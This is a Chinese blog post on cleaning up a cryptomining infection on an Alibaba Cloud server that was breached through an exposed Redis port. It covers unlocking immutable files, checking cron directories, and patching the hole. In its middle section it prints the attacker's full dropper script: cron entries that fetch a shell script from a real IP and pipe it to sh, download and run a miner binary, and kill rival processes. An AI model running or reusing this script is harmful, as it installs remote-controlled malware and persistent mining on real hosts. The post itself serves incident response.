阿里云服务器---排查挖矿病毒

1.背景

记录一次排查挖矿病毒的过程,其实都是按照阿里云官方教程操作,其中有些操作命令需要重点记录下,为后面生产环境做铺垫学习。

2.现象

近期测试服务器有黑客通过redis的6379端口入侵,然后阿里云发送报警信息,然后登录控制台发现以下报警信息:

3.恶意文件删除

原先还担心 /etc/sysguard 是不是系统自带的,后来,检查看了下其他机器/etc目录下,都无此文件。遂放心删除。

rm -rf /etc/sysguard

提示如下:rm: cannot remove ‘sysupdate’: Operation not permitted

不科学啊,我是用root用户登录的,可能是黑客通过rootkit工具进行了处理。

然后查找资料,找到以下几个命令:

(1).   lsattr -a  文件名或目录:发现含有 -i ,  其表示不能被删除、改名、设定连结、写入或新增数据;         

         例如:----i--------e--  /etc/sysguard

(2).   chattr -i :取消i命令权限

         果不其然,撤销之后在删除就可以如愿删除了。

4.再次检查(很重要)

建议立即及时排查系统/etc/crontab、/var/spool/cron/、/var/spool/cron/crontabs/等目录下是否存在可疑计划任务文件,并加固系统密码。

尤其要注意他们的伪装,比如web,nginx,www ,www-web等等文件,这些肯定有问题!!

5.恶意脚本

如下就是写入的恶意脚本文件,在/var/spool/mail目录,反正/var/spool目录肯定有恶意文件,通过脚本也能看到

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/ozjsfab||/usr/libexec/ozjsfab||/usr/local/bin/ozjsfab||/tmp/ozjsfab||curl -fsSL -m180 http://67.205.164.163:8000/i.sh||wget -q -T180 -O- http://67.205.164.163:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep ozjsfab || rm -rf ozjsfab
if [ ! -f "ozjsfab" ]; then
    curl -fsSL -m1800 http://67.205.164.163:8000/static/4011/ddgs.$(uname -m) -o ozjsfab||wget -q -T1800 http://67.205.164.163:8000/static/4011/ddgs.$(uname -m) -O ozjsfab
fi
chmod +x ozjsfab
/usr/bin/ozjsfab||/usr/libexec/ozjsfab||/usr/local/bin/ozjsfab||/tmp/ozjsfab

ps auxf | grep -v grep | grep ozjsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa3 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa4 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa5 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa6 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa7 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep ozjsfa8 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/ozjsfab||/usr/libexec/ozjsfab||/usr/local/bin/ozjsfab||/tmp/ozjsfab||curl -m180 -fsSL http://67.205.164.163:8000/i.sh||wget -q -T180 -O- http://67.205.164.163:8000/i.sh) | sh" | crontab -

他们很会伪装,比如在/var/spool/cron或/var/spool/cron/crontabs文件中新建一个root文件,让你误以为是系统文件,其实它就是个定时任务文件。我的是这两个目录都有这个root文件,根据文件创建日期也很容易想到是黑客入侵时写入的。

很明显这就是个定时任务文件,通过远程67.205.164.163这个IP下载那个i.sh脚本文件,就可以得到上面那个恶意脚本文件。

果断删除,不含糊。

6.封堵漏洞

可参考阿里云官方介绍文档,牢记:一定要去堵住漏洞,否则还是会被轻易侵入。

 https://help.aliyun.com/knowledge_detail/37447.html

 https://help.aliyun.com/knowledge_detail/37433.html

最后,排查异常进程,有一点可参考,就是根据被侵入日期和关键词查看是否有异常进程。

ps -p  $PID -o lstart

可以输出进程启动时间。

发布了40 篇原创文章 · 获赞 15 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/lvxiucai/article/details/104199800